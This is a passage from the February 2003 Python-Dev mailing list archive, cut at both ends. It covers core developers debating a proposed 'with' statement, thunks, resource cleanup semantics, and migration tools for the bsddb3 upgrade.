a naughty boy then - g is a closed file # And the g.__exit__() call goes boom here... OK, it's contrived. The equivalent C++ risk is that of creating a = dangling pointer to a local variable which is deleted, which is also rare. I don't know if this is a significant issue - after all, I can write code which closes a closed file object in normal Python. But I do think that we should remember the weird edge cases when discussing this sort of thing. If nothing else, it strikes me as a mild argument in favour of allowing the assignment to be part of the "with" clause, just so that people don't get used to seeing a bare "with g" (which doesn't include any obvious clues that g *needs* auto-cleanup). Paul. From guido@python.org Mon Feb 3 14:51:26 2003 From: guido@python.org (Guido van Rossum) Date: Mon, 03 Feb 2003 09:51:26 -0500 Subject: [Python-Dev] Weekly Python Bug/Patch Summary In-Reply-To: Your message of "Mon, 03 Feb 2003 10:49:15 GMT." <2misw1r650.fsf@starship.python.net> References: <200302021300.h12D0ZRd015670@manatee.mojam.com> <2misw1r650.fsf@starship.python.net> Message-ID: <200302031451.h13EpQB18509@odiug.zope.com> > > Bug/Patch Summary > > ----------------- > > > > 350 open / 3282 total bugs (+14) > > 123 open / 1944 total patches (+16) > > Oh dear. How about saying that each post to python-dev about syntax > must be accompanied by action towards closing out at least one bug or > patch? :) I'm filing all the syntax posts away for now and will be spending significant time this week towards the 2.3a2 release (at least Zope Corp allows me to work on that). --Guido van Rossum (home page: http://www.python.org/~guido/) From bh@intevation.de Mon Feb 3 15:06:03 2003 From: bh@intevation.de (Bernhard Herzog) Date: 03 Feb 2003 16:06:03 +0100 Subject: [Python-Dev] Extended Function syntax In-Reply-To: <16E1010E4581B049ABC51D4975CEDB886199CD@UKDCX001.uk.int.atosorigin.com> References: <16E1010E4581B049ABC51D4975CEDB886199CD@UKDCX001.uk.int.atosorigin.com> Message-ID: <6qvg01o144.fsf@salmakis.intevation.de> "Moore, Paul" writes: > Consider > > try: > f = open("blah.txt", "r") > ... > finally: > f.close() This should actually be f = open("blah.txt", "r") try: ... finally: f.close() Otherwise if open raises an exception the finally clause will most likely raise an exception as well. > and with > > f = autoclose("blah.txt", "r") > with f: > ... > > The problem with the third case as compared to the second is that > using autoclose() rather than open() has *no value* in the absence > of the with statement. And contrariwise, if x is an object which > hasn't been designed for use with the "with" construct, "with x" > is meaningless. Likewise, if x is not designed to be used with "for", "for i in x" is meaningless (and throws an exception). > So I guess what I'm saying is that "with ... autoclose" only > make sense in combination. I think "return autoclose(...)" will be used in function that create objects for use in with clauses. > Putting the two on different lines loses > that connection. If you need to name the result of the autoclose() > call, you either allow the with construct to include the assignment, > or you lose that conceptual link. IMO whether with should allow assignment is really completely independed of "with". It's just the general design questions of whether to have assignment expressions at all. Bernhard -- Intevation GmbH http://intevation.de/ Sketch http://sketch.sourceforge.net/ MapIt! http://www.mapit.de/ From aleax@aleax.it Mon Feb 3 15:11:08 2003 From: aleax@aleax.it (Alex Martelli) Date: Mon, 3 Feb 2003 16:11:08 +0100 Subject: [Python-Dev] Acquire/release functionality In-Reply-To: <16E1010E4581B049ABC51D4975CEDB886199CF@UKDCX001.uk.int.atosorigin.com> References: <16E1010E4581B049ABC51D4975CEDB886199CF@UKDCX001.uk.int.atosorigin.com> Message-ID: <200302031611.08420.aleax@aleax.it> On Monday 03 February 2003 03:31 pm, Moore, Paul wrote: ... > # File now gets closed > with g: > # Who's a naughty boy then - g is a closed file > # And the g.__exit__() call goes boom here... Why does it go boom? > I don't know if this is a significant issue - after all, I can write > code which closes a closed file object in normal Python. But I do think Sure: >>> f=file('noproblemo','w') >>> f.close() >>> f.close() >>> f.close() >>> ...and it gives absolutely no problem. We can close it a few more times too. I *LIKE* this: a termination-method SHOULD be idempotent (a no-op when called more than once), so that if various ways to "ensure the termination method is called" happen to be used all at once, that doesn't break anything. In this case, I think convenience should trump "errors shouldn't pass silently" -- i.e. I'd much rather define multiple calls to the terminator as "not an error", just like the built-in file object does! > If nothing else, it strikes me as a mild argument in favour of allowing > the assignment to be part of the "with" clause, just so that people > don't get used to seeing a bare "with g" (which doesn't include any > obvious clues that g *needs* auto-cleanup). Heh, good try (and I *WOULD* definitely like it if the optional assignment could be part of the with syntax, since I think there will be an assignment needed more often than not), but I'm not sure this specific argument is that strong a support for our shared preference;-). Alex From aleax@aleax.it Mon Feb 3 15:21:00 2003 From: aleax@aleax.it (Alex Martelli) Date: Mon, 3 Feb 2003 16:21:00 +0100 Subject: [Python-Dev] Extended Function syntax In-Reply-To: <6qvg01o144.fsf@salmakis.intevation.de> References: <16E1010E4581B049ABC51D4975CEDB886199CD@UKDCX001.uk.int.atosorigin.com> <6qvg01o144.fsf@salmakis.intevation.de> Message-ID: <200302031621.00800.aleax@aleax.it> On Monday 03 February 2003 04:06 pm, Bernhard Herzog wrote: ... > IMO whether with should allow assignment is really completely independed > of "with". It's just the general design questions of whether to have > assignment expressions at all. M own O is drastically different: I'm quite happy to have no assignment in expressions -- I think "with" SHOULD be able to bind a variable, though, much like, say, "for" should (and does), because MOST of the time you DO want that variable available in the body. Not ALL of the time, just like you sometimes have, say: for i in range(5)... and don't care at all about 'i' in the body, but just need to repeat something five times. But I'd rather make some form of binding MANDATORY in "with", as it is in "for", rather than forbid it. If the "with blah = bloh:" sugar is not acceptable, I'd settle for ALMOST anything that has these semantics... ALMOST because the "with bloh: (blah):" kinds of thingies I've seen proposed on this thread strike me as weird (having the bound name AFTER the expression to which it's bound, and no clear indication at all that a binding is taking place -- maybe it's just the fact that it's so unusual in Python, but, do we really need those traits...?). Alex From aahz@pythoncraft.com Mon Feb 3 15:21:25 2003 From: aahz@pythoncraft.com (Aahz) Date: Mon, 3 Feb 2003 10:21:25 -0500 Subject: [Python-Dev] exec/with thunk-handling proposal In-Reply-To: <20030203140934.D10804@prim.han.de> References: <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net> <059501c2ca31$d6581420$6d94fea9@newmexico> <065d01c2ca3b$185ca080$6d94fea9@newmexico> <200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net> <002301c2cad4$714acc00$6d94fea9@newmexico> <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net> <20030203140934.D10804@prim.han.de> Message-ID: <20030203152125.GB9574@panix.com> On Mon, Feb 03, 2003, holger krekel wrote: > > def __enter__(self): > "before suite start" > > def __except__(self, type, value, tb): > "swallow given exception, reraise if neccessary" > > def __leave__(self): > """upon suite finish (not called if __except__ > exists and an exception happened) > """ No, __leave__/__exit__ should always be called regardless of whether an exception hits. That's the whole point of this proposal, IMO. > One remark (mainly to Michael as he does that other > patch) about the hook-name __leave__ versus __exit__. > we may want to eventually allow 'yield' within the > thunk and then '__exit__' would be misleading. Here is > the use case: > > exec self.mylock: # would lock/unlock on entering/leaving > # the generator > ... > for whatever in something: > yield whatever > ... I'm thinking that this is *way* too complex. If you want something like that, code it like this: for whatever in something: exec self.mylock: new_whatever = process(whatever) yield new_whatever -- Aahz (aahz@pythoncraft.com) <*> http://www.pythoncraft.com/ "Argue for your limitations, and sure enough they're yours." --Richard Bach From Paul.Moore@atosorigin.com Mon Feb 3 15:24:26 2003 From: Paul.Moore@atosorigin.com (Moore, Paul) Date: Mon, 3 Feb 2003 15:24:26 -0000 Subject: [Python-Dev] Acquire/release functionality Message-ID: <16E1010E4581B049ABC51D4975CEDB886199D1@UKDCX001.uk.int.atosorigin.com> From: Aahz [mailto:aahz@pythoncraft.com] > It's not at all contrived. And I think it's perfectly acceptable; > it's no different, fundamentally, from calling f.close() twice by > mistake. I blew the example, as I forgot that multiple close() calls were OK. And maybe Alex's point that cleanup should be callable multiple times kills the whole argument. But I'm not entirely sure I follow your comment. Are you saying that you think that using the same object in 2 with statements (where, by definition, in the second the object will be "already cleaned up") is acceptable, or that you think it's a mistake (in which case, are you saying that we shouldn't care *because* the coder made a mistake?) Actually, I think I'm guilty of muddy thinking here, in any case. I can imagine a single "manager" object, which could be entirely valid in multiple with statements: # Reusing the tired old file closing example, sorry, I'm # too befuddled to think up a new example right now... class manager: def __init__(self, f =3D None): self.f =3D f def control(self, f): self.f =3D f def __exit__(self): if self.f: self.f.close() self.f =3D None f =3D open("whatever.txt") M =3D manager(f) with M: # use M.f, could expose this better... M.control(open("another.txt")) with M: ... I really can't decide if this is reasonable use, or horrible abuse. Or somewhere in between. I'm pretty sure I wouldn't like to have to = maintain code like this at short notice, though... Time to stop responding to messages and have a good think about all of this. Paul. From mwh@python.net Mon Feb 3 15:25:49 2003 From: mwh@python.net (Michael Hudson) Date: Mon, 03 Feb 2003 15:25:49 +0000 Subject: [Python-Dev] Extended Function syntax In-Reply-To: <16E1010E4581B049ABC51D4975CEDB886199CD@UKDCX001.uk.int.atosorigin.com> ("Moore, Paul"'s message of "Mon, 3 Feb 2003 13:57:05 -0000") References: <16E1010E4581B049ABC51D4975CEDB886199CD@UKDCX001.uk.int.atosorigin.com> Message-ID: <2mu1flperm.fsf@starship.python.net> "Moore, Paul" writes: > From: Michael Hudson [mailto:mwh@python.net] >>>> How would I do this elegantly without the assignment...? >>> >>> Just as you do with if: >> >> Good point. "with" testlist ':' NEWLINE it is, if it's me >> that gets to write the PEP. > > Are you saying that you don't see the value of > > with var = expr: > suite > > because it can be rewritten as > > var = expr > with var: > suite > > ? Hmm, I suppose so. Well, I'd consider making the "var =" optional, but that would require hairy parser games (I think it would be possible, but very nasty). Given that it (practically) can't be, I find having to make up a name for something that doesn't need one (e.g. with dummy = autolock(lock): ... ) more unpleasant than having to bind to a name in a different line. [...] > So I guess what I'm saying is that "with ... autoclose" only > make sense in combination. Putting the two on different lines loses > that connection. If you need to name the result of the autoclose() > call, you either allow the with construct to include the assignment, > or you lose that conceptual link. Hmm, maybe the nasty parser hacks would be worth it... Cheers, M. -- 8. A programming language is low level when its programs require attention to the irrelevant. -- Alan Perlis, http://www.cs.yale.edu/homes/perlis-alan/quotes.html From skip@pobox.com Mon Feb 3 15:30:41 2003 From: skip@pobox.com (Skip Montanaro) Date: Mon, 3 Feb 2003 09:30:41 -0600 Subject: [Python-Dev] bsddb3 upgrade woes - more gentle transition? In-Reply-To: <15934.29006.134368.613503@montanaro.dyndns.org> References: <15934.29006.134368.613503@montanaro.dyndns.org> Message-ID: <15934.35617.480102.179585@montanaro.dyndns.org> Skip> Given that most people aren't aware of how to convert their Skip> database files and very possibly don't have the necessary RPMs (or Skip> other system-specific packages) installed to do the file Skip> conversion, I think we need to work a little harder to smooth the Skip> transition. I'm not certain just what form that should take. At Skip> the very least I will write some text in Misc/NEWS to better Skip> indicate what the underlying problem is and ways to solve it. Skip> I suspect that many people won't have immediate access to Skip> Sleepycat's conversion tools (for any number of reasons). I think Skip> a pair of dump/load scripts in Tools/scripts which use pickle as Skip> an intermediate format would also be helpful. Done. See Misc/NEWS, Tools/scripts/{pickle2db,db2pickle}.py. I've gone back and forth using Python 2.1.3, 2.2.2 and current CVS using the bsddb stuff, though I haven't tested all the possible database formats and don't have Python 1.5.2 to try with anymore. I tried to avoid gratuitous incompatibilities with older versions of Python, but some extra exercise using 2.0 and 1.5.2 with different databases would be appreciated. Skip From aahz@pythoncraft.com Mon Feb 3 15:13:35 2003 From: aahz@pythoncraft.com (Aahz) Date: Mon, 3 Feb 2003 10:13:35 -0500 Subject: [Python-Dev] Acquire/release functionality In-Reply-To: <16E1010E4581B049ABC51D4975CEDB886199CF@UKDCX001.uk.int.atosorigin.com> References: <16E1010E4581B049ABC51D4975CEDB886199CF@UKDCX001.uk.int.atosorigin.com> Message-ID: <20030203151335.GA9574@panix.com> On Mon, Feb 03, 2003, Moore, Paul wrote: > > In trying to draw a parallel between "with" and the C++ RAII idiom, I > hit a funny, best illustrated by an example: > > class autoclose(file): > __exit__ = close > > with f = autoclose("blah.txt", "r"): > # Let's get sneaky > g = f > # Main code here > > # File now gets closed > with g: > # Who's a naughty boy then - g is a closed file > # And the g.__exit__() call goes boom here... > > OK, it's contrived. The equivalent C++ risk is that of creating a dangling > pointer to a local variable which is deleted, which is also rare. It's not at all contrived. And I think it's perfectly acceptable; it's no different, fundamentally, from calling f.close() twice by mistake. -- Aahz (aahz@pythoncraft.com) <*> http://www.pythoncraft.com/ "Argue for your limitations, and sure enough they're yours." --Richard Bach From barry@python.org Mon Feb 3 15:48:54 2003 From: barry@python.org (Barry A. Warsaw) Date: Mon, 3 Feb 2003 10:48:54 -0500 Subject: [Python-Dev] bsddb3 upgrade woes - more gentle transition? References: <15934.29006.134368.613503@montanaro.dyndns.org> Message-ID: <15934.36710.115046.420834@gargle.gargle.HOWL> >>>>> "SM" == Skip Montanaro writes: SM> I've seen a couple messages on c.l.py and the spambayes list SM> about "breakage" with the new bsddb3 module. In both cases SM> the breakage they occurred probably wasn't directly related to SM> the change of the modules. It's almost certain that they have SM> two versions of Berkeley DB installed and were using a 2.x or SM> 1.8[56] version with the old bsddb module and are now linking SM> against the 3.x or 4.x library with the new module. Just remember that there's a difference between the API version and the database version. I'm not sure what the best approach is for migration to Python 2.3, other than grabbing and compiling the Sleepycat tools. :/ -Barry From skip@pobox.com Mon Feb 3 16:01:49 2003 From: skip@pobox.com (Skip Montanaro) Date: Mon, 3 Feb 2003 10:01:49 -0600 Subject: [Python-Dev] bsddb3 upgrade woes - more gentle transition? In-Reply-To: <15934.36710.115046.420834@gargle.gargle.HOWL> References: <15934.29006.134368.613503@montanaro.dyndns.org> <15934.36710.115046.420834@gargle.gargle.HOWL> Message-ID: <15934.37485.999494.224814@montanaro.dyndns.org> >>>>> "BAW" == Barry A Warsaw writes: >>>>> "SM" == Skip Montanaro writes: SM> I've seen a couple messages on c.l.py and the spambayes list SM> about "breakage" with the new bsddb3 module. In both cases SM> the breakage they occurred probably wasn't directly related to SM> the change of the modules. It's almost certain that they have SM> two versions of Berkeley DB installed and were using a 2.x or SM> 1.8[56] version with the old bsddb module and are now linking SM> against the 3.x or 4.x library with the new module. BAW> Just remember that there's a difference between the API version and BAW> the database version. Yup. BAW> I'm not sure what the best approach is for migration to Python 2.3, BAW> other than grabbing and compiling the Sleepycat tools. :/ Tools/scripts/{db2pickle,pickle2db}.py, of course. ;-) Skip From jo@jan.csie.ntu.edu.tw Mon Feb 3 16:12:16 2003 From: jo@jan.csie.ntu.edu.tw (jo@jan.csie.ntu.edu.tw) Date: Tue, 4 Feb 2003 00:12:16 +0800 Subject: [Python-Dev] exec/with thunk-handling proposal In-Reply-To: <20030203152618.4383.1348.Mailman@mail.python.org> References: <20030203152618.4383.1348.Mailman@mail.python.org> Message-ID: <20030203161216.GA2343@jan.csie.ntu.edu.tw> > From: "Gerald S. Williams" > holger krekel wrote: > > I think we can may get away with only a "weak" keyword > > and allow the aforementioned encapsulation of execution > > events into an object like this: > > > > exec expr [with params]: suite > > I was about to propose something similar. This looks like > it can be unified with what Guido proposed. > > > regards and interested in comments, > > An observation: > > Used like this, "with" looks like an alias for "lambda" > (providing default values for all parameters). > Yes. If we have multiline lambda, we could write: def autoclose(f, action): try: action(f) finally: f.close() autoclose(open("blah.txt"), lambda f: for line in f: print line ) From arigo@tunes.org Mon Feb 3 16:10:42 2003 From: arigo@tunes.org (Armin Rigo) Date: Mon, 3 Feb 2003 17:10:42 +0100 Subject: [Python-Dev] Extended Function syntax In-Reply-To: <07d301c2cb08$7c2d0fa0$6d94fea9@newmexico> References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <061701c2cafb$2387ce60$6d94fea9@newmexico> <200302022250.37389.aleax@aleax.it> <07d301c2cb08$7c2d0fa0$6d94fea9@newmexico> Message-ID: <20030203161042.GA15970@magma.unil.ch> Hello, On Sun, Feb 02, 2003 at 11:14:41PM +0100, Samuele Pedroni wrote: > (...do:...) > > no there is no first-class thunk here, this is really just sugar for a > try-finally. The point here is not to need first-class thunks! If no first-class thunks are wanted, then maybe the most direct path from today to auto-closing files is to extend the iterator protocol with an optional __leave__() method. It would be called exactly once when the iterator is considered to be exhausted. The semantics of 'for' would be modified to always call it at the end of the loop, even when an exception or a return occurs within the loop. It would allow users to write f = auto_closing_file('data.txt', 'r') for line in f: ... or for lock in synchronized(lock): ... This second one looks a bit unexpected, but it needs no new syntax and no brand new protocol. (The 'lock' variable between 'for' and 'in' is not really needed in this example.) Armin From bh@intevation.de Mon Feb 3 16:31:34 2003 From: bh@intevation.de (Bernhard Herzog) Date: 03 Feb 2003 17:31:34 +0100 Subject: [Python-Dev] Extended Function syntax In-Reply-To: <200302031621.00800.aleax@aleax.it> References: <16E1010E4581B049ABC51D4975CEDB886199CD@UKDCX001.uk.int.atosorigin.com> <6qvg01o144.fsf@salmakis.intevation.de> <200302031621.00800.aleax@aleax.it> Message-ID: <6qr8apnx5l.fsf@salmakis.intevation.de> Alex Martelli writes: > M own O is drastically different: I'm quite happy to have no assignment > in expressions -- I think "with" SHOULD be able to bind a variable, > though, much like, say, "for" should (and does), because MOST of > the time you DO want that variable available in the body. I for one am not so sure about the most. It's not needed for a lock for instance. I do realise that it will often be convenient, though, such as in the file example. OTOH, an assignment would often be convenient in a while loop or if statement as well and while people often ask for assignments in if and while so far Python has not been changed to allow it. I think that if "with" is added to Python it should not allow assignment at first. Then after people have been using it for some time we can look at the actual use cases and if it turns out that the need for an assignment is much greater in "with" than in "while" et al. it can easily be added without any backwards incompatibility. We should also keep in mind that if Python had a way to do assignment in expressions there wouldn't be any need to make "with" special in this regard. Bernhard -- Intevation GmbH http://intevation.de/ Sketch http://sketch.sourceforge.net/ MapIt! http://www.mapit.de/ From guido@python.org Mon Feb 3 16:53:50 2003 From: guido@python.org (Guido van Rossum) Date: Mon, 03 Feb 2003 11:53:50 -0500 Subject: [Python-Dev] thunks Message-ID: <200302031653.h13Grof20104@odiug.zope.com> I still don't have time to read this thread :-(, but I had a new idea that I'd like to fly here. If we want to support thunks that blend into the scope of their environment as well as thunks that introduce a new local scope, here's one possible way to do it: Thunk blending in: [ =] : Thunk introducing a new local scope: [ =] lambda: (Never mind the ugly things I've said about lambda in the past. :-) I'm confident that the parser can distinguish these, and I'm confident that the scope blending can be implemented using nested-scope cells. Adding formal parameters to the second case would go like this: [ =] lambda : One concern I have in both cases: I think there are use cases for wanting more than one block. Glyph's example wants to define various callbacks for a remote call, and this would need multiple blocks. I think the syntax for this would have to use some kind of keyword-based continuation, e.g. [ =] lambda: and lambda: ... Disclaimer: this is a half-baked idea. --Guido van Rossum (home page: http://www.python.org/~guido/) From rnd@onego.ru Mon Feb 3 17:08:33 2003 From: rnd@onego.ru (Roman Suzi) Date: Mon, 3 Feb 2003 20:08:33 +0300 (MSK) Subject: [Python-Dev] thunks In-Reply-To: <200302031653.h13Grof20104@odiug.zope.com> Message-ID: What about my idea (I have another posting to python-dev probably unnoticed) code_thunk = ``` if Guido.let_it_fly(): print "This is my syntax for inline code block" ``` Any other operations (even adding parameters) - thru function application. Sincerely yours, Roman Suzi -- rnd@onego.ru =\= My AI powered by Linux RedHat 7.3 From dan@sidhe.org Mon Feb 3 17:19:44 2003 From: dan@sidhe.org (Dan Sugalski) Date: Mon, 3 Feb 2003 12:19:44 -0500 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: <3E3E4BE7.7000303@tismer.com> References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> Message-ID: At 12:00 PM +0100 2/3/03, Christian Tismer wrote: >Dan Sugalski wrote: >... > >>If you want to bet, I'll put up $10 and a round of beer (or other >>beverage of your choice) at OSCON 2004 for all the python labs & >>zope folks that says parrot beats the current python interpreter >>when running all the python benchmark suite programs (that don't >>depend on extensions written in C, since we're shooting for pure >>engine performance) from bytecode. Game? > >Do you mean the current Python interpreter of 2004? >That could be quite a different beast... While it could be, that's unlikely. Still, that'd be part of the ground rules we'd work out if someone takes me up on the challenge. -- Dan --------------------------------------"it's like this"------------------- Dan Sugalski even samurai dan@sidhe.org have teddy bears and even teddy bears get drunk From oren-py-d@hishome.net Mon Feb 3 17:21:16 2003 From: oren-py-d@hishome.net (Oren Tirosh) Date: Mon, 3 Feb 2003 12:21:16 -0500 Subject: [Python-Dev] Extended Function syntax In-Reply-To: <2mu1flperm.fsf@starship.python.net> References: <16E1010E4581B049ABC51D4975CEDB886199CD@UKDCX001.uk.int.atosorigin.com> <2mu1flperm.fsf@starship.python.net> Message-ID: <20030203172116.GA1513@hishome.net> On Mon, Feb 03, 2003 at 03:25:49PM +0000, Michael Hudson wrote: > Well, I'd consider making the "var =" optional, but that would require > hairy parser games (I think it would be possible, but very nasty). > > Given that it (practically) can't be, I find having to make up a name > for something that doesn't need one (e.g. > > with dummy = autolock(lock): > ... > > ) more unpleasant than having to bind to a name in a different line. I agree. I don't see anything wrong with f=open('spam', 'r') with autoclose(f): ... and I think that with autolock(obj): ... looks better than any other alternative proposed so far. I don't really need the autolock object for anything. I actually prefer not to see it just like I don't see the anonymous iterator created in a for loop. I have an idea how to implement this as an extension of generators. Currently, when a generator yields and is never resumed it just dies silently. I suggest that it would be resumed one last time with an AbortIteration exception raised at the yield statement. If it does not catch this exception it is simply ignored. If it does catch it the generator may either raise another exception or return, but not yield. This is similar to a patch I submitted some time ago that allows try/finally in a generator. The difference is that this exception based system does not make such a strong guarantee as try/finally - it will be triggered when the iteration is aborted by break, return or an exception in the looping scope but not by a __del__ of a generator object dropping to refcnt of 0 so it should be "Jythonially correct". So how does it solve the 'with' issue? The 'with' statement can be defined as a very degenerate form of 'for'. It takes an iterable object as argument but throws away the result and does not bind a variable. Here is a hypothetical implementation of autoclose: def autoclose(f): try: yield None print >>log, "terminated normally!" except AbortIteration: print >>log, "iteration aborted!" f.close() Or, more generally: def foo(args): #__enter__ try: yield None #__leave__ # normal termination of block except AbortIteration, exc: #__except__ # exc.reason = exception that caused the iteration to abort # or None for loops aborted with break or return statements #"finally" - all cases eventually reach this point The implementation is relatively simple. It requires a 'for' or 'with' block to somehow inform its iterator that it has been terminated prematurely when popped off the block stack for any reason other than normal StopIteration. When the generator object gets this message it resumes the frame one last time with an AbortIteration exception raised. This also adds a feature to generators and iterators that is generally useful for cleaning up after loops, not only 'with' statements. With this extension it's possible to write a database iterator that is able to tell whether the loop using it has been terminated by break or return, an exception, or normal termination and decide whether to commit or rollback. A tricky part is aborting a loop by break or reaturn. It should only raise an AbortIteration in this case if an actual new generator was created for the loop. It should not be triggered if "iter(x) is x". In that case the user may have intended to continue using that iterator. In other words, this mechanism is guaranteed only when using automatically generated iterators. If you use explicit iterators it's your responsibility to ensure everything is cleaned up. Oren From pedronis@bluewin.ch Mon Feb 3 17:20:42 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Mon, 3 Feb 2003 18:20:42 +0100 Subject: [Python-Dev] thunks References: <200302031653.h13Grof20104@odiug.zope.com> Message-ID: <021b01c2cba8$949a9c60$6d94fea9@newmexico> From: "Guido van Rossum" > I still don't have time to read this thread :-(, but I had a new idea > that I'd like to fly here. > > If we want to support thunks that blend into the scope of their > environment as well as thunks that introduce a new local scope, here's > one possible way to do it: > > Thunk blending in: > > [ =] : > > > Thunk introducing a new local scope: > > [ =] lambda: > > > (Never mind the ugly things I've said about lambda in the past. :-) > > I'm confident that the parser can distinguish these, and I'm confident > that the scope blending can be implemented using nested-scope cells. > > Adding formal parameters to the second case would go like this: > > [ =] lambda : > > > One concern I have in both cases: I think there are use cases for > wanting more than one block. Glyph's example wants to define various > callbacks for a remote call, and this would need multiple blocks. I > think the syntax for this would have to use some kind of keyword-based > continuation, e.g. > > [ =] lambda: > > and lambda: > > ... > > Disclaimer: this is a half-baked idea. Is lambda for generalizing 'class'?? It is worth to rember that 'class' has different scoping rules than def! >>> def c(): ... x = 1 ... class B: ... x=2 ... def f(self): ... return x ... return B() ... >>> b=c() >>> b.x 2 >>> b.f() # not 2 1 From tim.one@comcast.net Mon Feb 3 17:07:47 2003 From: tim.one@comcast.net (Tim Peters) Date: Mon, 03 Feb 2003 12:07:47 -0500 Subject: [Python-Dev] Extended Function syntax In-Reply-To: <20030203095908.Z10804@prim.han.de> Message-ID: [holger krekel] > What do you mean with "generator's stack frame is popped"? At the end of eval_frame(): /* pop frame */ --tstate->recursion_depth; tstate->frame = f->f_back; return retval; The current frame is always popped from the thread state's frame stack, regardless of the reason for leaving eval_frame() (and generator yield is identical to function return in this respect). > I interpreted this code in ceval.c > > if (why != WHY_YIELD) { > /* Pop remaining stack entries -- but when yielding */ > while (!EMPTY()) { > v = POP(); > Py_XDECREF(v); > } > } > > to mean the frame is suspended with a preserved stack. > f_stacktop/last_i later are used to resume. Like that's news to me . Until it is resumed, the frame doesn't appear anywhere on the thread state's stack -- it would be lost entirely except that a generator-iterator object still holds a reference to it From pyth@devel.trillke.net Mon Feb 3 17:46:22 2003 From: pyth@devel.trillke.net (holger krekel) Date: Mon, 3 Feb 2003 18:46:22 +0100 Subject: [Python-Dev] exec/with thunk-handling proposal (on a new thread eventually) In-Reply-To: <20030203143531.F10804@prim.han.de>; from pyth@devel.trillke.net on Mon, Feb 03, 2003 at 02:35:31PM +0100 References: <20030203143531.F10804@prim.han.de> Message-ID: <20030203184622.A5939@prim.han.de> Aahz wrote: > [holger krekel] > > > > def __enter__(self): > > "before suite start" > > > > def __except__(self, type, value, tb): > > "swallow given exception, reraise if neccessary" > > > > def __leave__(self): > > """upon suite finish (not called if __except__ > > exists and an exception happened) > > """ > > No, __leave__/__exit__ should always be called regardless of whether an > exception hits. That's the whole point of this proposal, IMO. The __except__ hook (like all others) is optional. Always invoking __except__ and __leave__ would amount to a try-except-finally clause which is seldomly needed and not existing today. Most often you either have exception handling or finally-handling. Anyway, it is no problem to invoke __leave__ from within __except__ if this is really neccessary (it hasn't been with my use cases). And __leave__ does get invoked if there is no __except__. > > One remark (mainly to Michael as he does that other > > patch) about the hook-name __leave__ versus __exit__. > > we may want to eventually allow 'yield' within the > > thunk and then '__exit__' would be misleading. Here is > > the use case: > > > > exec self.mylock: # would lock/unlock on entering/leaving > > # the generator > > ... > > for whatever in something: > > yield whatever > > ... > > I'm thinking that this is *way* too complex. If yield would be allowed inside try-finally then this would be straight forward IMO. Obviously, today there is a semantic problem because it is unclear if the finally-code should be executed multiple times. But with the exec/with proposal this can be cleanly defined from the start (enter/leave) *just in case* that we ever want to allow yield within the new thunk-construct. Actually, I am just arguing that the "finish" hook should be named '__leave__' rather than '__exit__' because the latter sounds like "completly finished". I don't think it hurts even if we never allow yield within try-finally. regards, holger From oren-py-d@hishome.net Mon Feb 3 17:49:13 2003 From: oren-py-d@hishome.net (Oren Tirosh) Date: Mon, 3 Feb 2003 12:49:13 -0500 Subject: [Python-Dev] thunks In-Reply-To: <200302031653.h13Grof20104@odiug.zope.com> References: <200302031653.h13Grof20104@odiug.zope.com> Message-ID: <20030203174913.GB1513@hishome.net> On Mon, Feb 03, 2003 at 11:53:50AM -0500, Guido van Rossum wrote: > Thunk blending in: > > [ =] : > > > Thunk introducing a new local scope: > > [ =] lambda: > > > (Never mind the ugly things I've said about lambda in the past. :-) > > I'm confident that the parser can distinguish these, and I'm confident > that the scope blending can be implemented using nested-scope cells. Why not treat the "blended" version as just another nested block, like for, if, while etc? Thinking in terms of "thunks" is useful if you intend to keep a reference to this code that can be executed after the function containing it has exited. Is there any reason to use a *blended* block for this purpose? A piece of code modifies local variables of a dead function? Just think how messy it's going to be if it modifies the locals of the function while it is still running. I think it's best not to have any reference to it or not make it an object at all. See my previous posting on how this type of "blended blocks" can be imlemented mostly by reusing the generator mechanisms. Using iterators for the "with" statement may be a little ugly, but it shows how this problem can be approached without thinking in thunks. The non-blended version seems more suitable for defining things like functions, classes, properties, widgets etc. I would prefer for it to have a syntax more similar to functions or classes - a syntax that binds exactly one name in the scope containing it and uses the form keyword-introducer NAME {other stuff}: suite rather than assignment. I think it will be a good cue to the fact that these blocks are definitions with their own scope, not control flow structures that blend into their surroundings. > > Adding formal parameters to the second case would go like this: > > [ =] lambda : > If a non-blended block wants to define multiple entry points it can just use functions, like methods in a class. This requires that this block be executed immediately and the resulting dictionary stored for later use. I think the remembering the convention for naming the functions in this block is preferred to this mixed syntax. thunk-you-very-much, Oren From pyth@devel.trillke.net Mon Feb 3 17:03:35 2003 From: pyth@devel.trillke.net (holger krekel) Date: Mon, 3 Feb 2003 18:03:35 +0100 Subject: [Python-Dev] Acquire/release functionality In-Reply-To: <16E1010E4581B049ABC51D4975CEDB886199CF@UKDCX001.uk.int.atosorigin.com>; from Paul.Moore@atosorigin.com on Mon, Feb 03, 2003 at 02:31:39PM -0000 References: <16E1010E4581B049ABC51D4975CEDB886199CF@UKDCX001.uk.int.atosorigin.com> Message-ID: <20030203180335.I10804@prim.han.de> Moore, Paul wrote: > Paul Moore writes: > > > As far as the acquire/release case is concerned, I think that there is > > definitely a strong case for syntactic support for this. The > > equivalent idiom in C++ is "resource acquisition is initialisation" > > which, while not having syntax support, does rely on the existence of > > deterministic destructors, and on the ability to introduce a new scope > > at will. Python has neither of these, and the try...finally construct > > is verbose enough to make something better worth having. > > In trying to draw a parallel between "with" and the C++ RAII idiom, I > hit a funny, best illustrated by an example: > > class autoclose(file): > __exit__ = close > > with f = autoclose("blah.txt", "r"): > # Let's get sneaky > g = f > # Main code here > > # File now gets closed > with g: I haven't found a way to make assignments optional (in recent experiments). Is this possible with Python's Parser? holger From guido@python.org Mon Feb 3 18:15:46 2003 From: guido@python.org (Guido van Rossum) Date: Mon, 03 Feb 2003 13:15:46 -0500 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: Your message of "Mon, 03 Feb 2003 12:19:44 EST." References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <007301c2c8bb$7d022f90$ced241d5@hagrid> 